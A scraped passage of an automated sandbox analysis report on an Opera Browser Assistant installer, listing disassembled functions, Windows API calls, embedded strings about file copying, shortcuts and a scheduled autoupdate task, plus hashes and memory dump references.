                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2332101959-0
                                                                                                                                                                                                                • Opcode ID: 0a71dd2a654faef7794832c626c0584b47b694304c662e4253a0e362b23693a2
                                                                                                                                                                                                                • Instruction ID: 15bd571788491f75df11657574fc39ff5d1495b78a72d6c69d547180fbfb63cb
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0a71dd2a654faef7794832c626c0584b47b694304c662e4253a0e362b23693a2
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 31215E719002199FDB149FA9DC889EEBBF8FF09354B04442AF405A7290D7749D40CF64
                                                                                                                                                                                                                Function 007E9AE2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FindFirstFileExW.KERNEL32(?,00000001,?,00000000,00000000,00000002,?,00861CA0,00000001), ref: 007E9B41
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/directory_reader_win.cc, xrefs: 007E9B8C, 007E9BD5
                                                                                                                                                                                                                • Empty directory path, xrefs: 007E9B9E
                                                                                                                                                                                                                • FindFirstFile, xrefs: 007E9BE7
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileFindFirst
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/directory_reader_win.cc$Empty directory path$FindFirstFile
                                                                                                                                                                                                                • API String ID: 1974802433-2519462454
                                                                                                                                                                                                                • Opcode ID: 5aa65d715857a81fff7b162de3b1a9b282f951092849d42e2d9213bff111815c
                                                                                                                                                                                                                • Instruction ID: ab7bf458c429d7741e5e4b34d5e10c4b19cc0560ec644232a856325deb9c456f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5aa65d715857a81fff7b162de3b1a9b282f951092849d42e2d9213bff111815c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 07314D71740358AAEF20B7659C4FFBE7369AF45704F04406CF609EB2C3DAB969058761
                                                                                                                                                                                                                Function 0083BE76 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0083BF6E
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0083BF78
                                                                                                                                                                                                                • UnhandledExceptionFilter.KERNEL32(00000002,?,?,?,?,?,?), ref: 0083BF85
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3906539128-0
                                                                                                                                                                                                                • Opcode ID: bf9fdfb6cc1d64969cece2d3502ee17f5ae166a953c0f3f0bbd473c3cad36e03
                                                                                                                                                                                                                • Instruction ID: aad02078b3cf98f3aa972b3a1a01a6b317d366634dc324fb50aa8b610fca4644
                                                                                                                                                                                                                • Opcode Fuzzy Hash: bf9fdfb6cc1d64969cece2d3502ee17f5ae166a953c0f3f0bbd473c3cad36e03
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8431C5B4901228ABCB25DF68DC8978DBBB8FF48310F5041DAE40CA7250EB749F858F45
                                                                                                                                                                                                                Function 0076C3B6 Relevance: 3.1, APIs: 2, Instructions: 69COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32(0076FE4E,?,?,?,?,?,?,?,?,00000000,?,?,?,0076FE4E,?), ref: 0076C3EA
                                                                                                                                                                                                                  • Part of subcall function 007AC8A4: CreateFileW.KERNELBASE ref: 007AC8EF
                                                                                                                                                                                                                  • Part of subcall function 007AC8A4: GetLastError.KERNEL32 ref: 007AC8F6
                                                                                                                                                                                                                  • Part of subcall function 007AC8A4: WaitNamedPipeW.KERNEL32(?,000000FF), ref: 007AC914
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(0076C770,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0076C440
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateCurrentErrorExceptionFileFilterLastNamedPipeProcessUnhandledWait
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4079065440-0
                                                                                                                                                                                                                • Opcode ID: 4a61961dddb359ce4f622efb6a5d23b3bd2378ac4147c929b1d1a52b74d1c7ec
                                                                                                                                                                                                                • Instruction ID: 6366d40b0757b63e4a738572723fae8ef2a74d6ea79ba4866f64a72279c19a3a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4a61961dddb359ce4f622efb6a5d23b3bd2378ac4147c929b1d1a52b74d1c7ec
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BA21C8F1900200DFDF00AF19EC4A95ABBE4FF85310F05816AFC458B252DBB58914CF92
                                                                                                                                                                                                                Function 00701C00 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(00701C40,?,006F5A26,?,00000000,?,006F1045,00000000,00000000), ref: 00701C11
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3192549508-0
                                                                                                                                                                                                                • Opcode ID: 984bda839da90eea812dd4fd78632c31f2b3f0e428c370317b52bc76830aad59
                                                                                                                                                                                                                • Instruction ID: 0ae1ac6e1ee2ed90dd38268f5966cb962f38e89f8e9a2645ae8000fcc7756f3a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 984bda839da90eea812dd4fd78632c31f2b3f0e428c370317b52bc76830aad59
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7AD0A7E19C52449AFB0423A47E07B2636C43321758F880165F208405D1DADE95A842B3
                                                                                                                                                                                                                Function 00829EB0 Relevance: .1, Instructions: 77COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: b2720492e732891d66106f5c811000714c363b8526788a1ad9da60bfdd4e2ada
                                                                                                                                                                                                                • Instruction ID: 0e76782430b14a44c23ed982616ec0fdf1449373aa981094041f87edb90c8de1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b2720492e732891d66106f5c811000714c363b8526788a1ad9da60bfdd4e2ada
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A931D1B4A003058BEB44CF19C4C0B82BBE2BF98310F18C2B9DC4C8F35AD77599558BA1
                                                                                                                                                                                                                Function 008497FB Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: 59157d7a3e04e4bca9250d6b8505b587c627c42d0fc274febe3a00804225cc96
                                                                                                                                                                                                                • Instruction ID: 76baae30ce8aa6a79430be7948735c1294813296e2c7fd5e6d889f579e6637cc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 59157d7a3e04e4bca9250d6b8505b587c627c42d0fc274febe3a00804225cc96
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2DE08C3291122CEBCB24DB9CC94498AF3ECFB85B01B1100A6F901D3100C270DE00C7D0
                                                                                                                                                                                                                Function 00702FE0 Relevance: 44.1, APIs: 8, Strings: 17, Instructions: 359COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: Invalid app id type$No all users information$No copy only information$No install path information$No version information$Subfolder not a string$The root is not a dictionary$_all_users$_subfolder$app_id$app_id$copy_only$files$path$product$root_files$version
                                                                                                                                                                                                                • API String ID: 4218353326-1502408593
                                                                                                                                                                                                                • Opcode ID: 2fae54fe5bb13f890534f496c8fe7579e15afb19efc689da9d85beb4727e564b
                                                                                                                                                                                                                • Instruction ID: e44dc2b0e741e427e4fc9e1bbdb511bd76546cb1927067052717f6df9a010423
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2fae54fe5bb13f890534f496c8fe7579e15afb19efc689da9d85beb4727e564b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7EC1C0B1608350EBDB119B10D845A2B7BE9FF85764F04491CF989A7382D739AE09C793
                                                                                                                                                                                                                Function 00705160 Relevance: 35.5, APIs: 5, Strings: 15, Instructions: 476fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 007524E0: GetFileAttributesW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00752551
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(00000000), ref: 00705429
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00705444
                                                                                                                                                                                                                  • Part of subcall function 00752320: GetFileAttributesW.KERNELBASE(FFFFFFFF,?,00000000), ref: 00752391
                                                                                                                                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 007055EC
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?,00000000), ref: 007055F9
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 00705612
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$Attributes$Copy
                                                                                                                                                                                                                • String ID: does not exist.$ to $../../opera/desktop/windows/installer/transactions/copy_file_operation.cc$Cannot create a folder to place the file in.$Cannot delete the already existing file to make room for the copied file.$Copying $Could not CopyFile because of an error: $Could not clear the RO attribute of file$Could not get file attributes on destination because of an error: $Couldn't clear RO attribute of $File copied successfully$File copy failed $One of the paths is too long.$One of the paths references parent.$The source file
                                                                                                                                                                                                                • API String ID: 1180250742-1397660437
                                                                                                                                                                                                                • Opcode ID: a6b24d65829309f0b86cba2c50097c03e9fdf9514fb709eaa1b457e72c388d6d
                                                                                                                                                                                                                • Instruction ID: 83a19466d19d8e5e7634de8ff2ce402240259d21f9b2d8499542078ae39f5fd4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a6b24d65829309f0b86cba2c50097c03e9fdf9514fb709eaa1b457e72c388d6d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 71F1D570600B00DFEB24EF60C885A67B7E6BF55311F04462DF99A5B2D2EB78E948CB51
                                                                                                                                                                                                                Function 00703A08 Relevance: 35.3, APIs: 9, Strings: 11, Instructions: 331COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: Invalid shortcut type $SC_DEST_COMMON_DESKTOP$SC_DEST_COMMON_MENU$SC_DEST_COMMON_PROMOTED$SC_DEST_DESKTOP$SC_DEST_MENU$SC_DEST_PROMOTED$SC_DEST_QUICK_LAUNCH$Shorcut path is not a string$Shortcuts not a dictionary$shortcuts
                                                                                                                                                                                                                • API String ID: 4218353326-1783663760
                                                                                                                                                                                                                • Opcode ID: 04be72ef38622e646bdbb96b37625a079d6d33089492b665ec5e1ad798616faa
                                                                                                                                                                                                                • Instruction ID: 5b242b4432e76fe708d1e43381d1977bb2fab2c35e5bbb06305612a8a138b3a8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 04be72ef38622e646bdbb96b37625a079d6d33089492b665ec5e1ad798616faa
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DEC1FFB0248350EBEB00EB24D841A6BB7E5BF95718F044A1DF8D5D72C2D679DA09C793
                                                                                                                                                                                                                Function 007176B4 Relevance: 31.7, APIs: 8, Strings: 10, Instructions: 199COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007176E7
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717722
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717745
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717766
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717795
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007177B5
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007177D5
                                                                                                                                                                                                                  • Part of subcall function 007178A8: _strlen.LIBCMT ref: 00717903
                                                                                                                                                                                                                  • Part of subcall function 0071792A: _strlen.LIBCMT ref: 007179A6
                                                                                                                                                                                                                  • Part of subcall function 0071792A: _strlen.LIBCMT ref: 00717A03
                                                                                                                                                                                                                  • Part of subcall function 0071792A: _strlen.LIBCMT ref: 00717A30
                                                                                                                                                                                                                  • Part of subcall function 00717A56: _strlen.LIBCMT ref: 00717ACB
                                                                                                                                                                                                                  • Part of subcall function 00717A56: _strlen.LIBCMT ref: 00717B06
                                                                                                                                                                                                                  • Part of subcall function 00717A56: _strlen.LIBCMT ref: 00717B40
                                                                                                                                                                                                                  • Part of subcall function 00717A56: _strlen.LIBCMT ref: 00717B6B
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00717C1E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: _all_users$_subfolder$_uq$app_id$components$copy_only$path$product$version$uq
                                                                                                                                                                                                                • API String ID: 4218353326-439349014
                                                                                                                                                                                                                • Opcode ID: 20d6b734435d37d001a7d8a43b008f614814d6544ff149f010565ae5fa3a7c42
                                                                                                                                                                                                                • Instruction ID: 0ef5cf22af8f70c78ad84b5c8cfe614e3f724337b58752e0e66bf0736ddad1d6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 20d6b734435d37d001a7d8a43b008f614814d6544ff149f010565ae5fa3a7c42
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0A51B4F1A042249BDF14EE6D98899AB7BADFB44320B044464FD49EB342D639ED08C7E1
                                                                                                                                                                                                                Function 006F3696 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 457COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: $(Arg0)$../../opera/desktop/windows/assistant/installer/assistant_installer.cc$Autoupdate $Could not create scheduled task$Could not initialize task scheduler$Creating scheduled task$Finalizing the installation$Keeps Opera Browser Assistant up to date$Setting autoupdate task error counter to : $assistant$au_task_error_count$component-name$component-path$installer_prefs.json$launcher.exe$scheduledautoupdate
                                                                                                                                                                                                                • API String ID: 4218353326-2181512856
                                                                                                                                                                                                                • Opcode ID: 851b8dfab5790df49c89bf8efaaee82b4d9c1c4c624ec39f44ea80d59e881482
                                                                                                                                                                                                                • Instruction ID: 0f8189accafdd00435ebb93344c19da56a117ea8a450f2cc261ada32e49c7b24
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 851b8dfab5790df49c89bf8efaaee82b4d9c1c4c624ec39f44ea80d59e881482
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 75F1C2B16007449BD720AF34D846BBBB7E6FF84710F04491CF99A97382EB75AA09C751
                                                                                                                                                                                                                Function 0070B734 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 283memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CoTaskMemAlloc.OLE32(000003E8), ref: 0070B7AD
                                                                                                                                                                                                                • CharNextW.USER32(00000000), ref: 0070B8EF
                                                                                                                                                                                                                • CharNextW.USER32(00000000), ref: 0070B918
                                                                                                                                                                                                                • CoTaskMemFree.OLE32(FFFFFFFF), ref: 0070BA8D
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
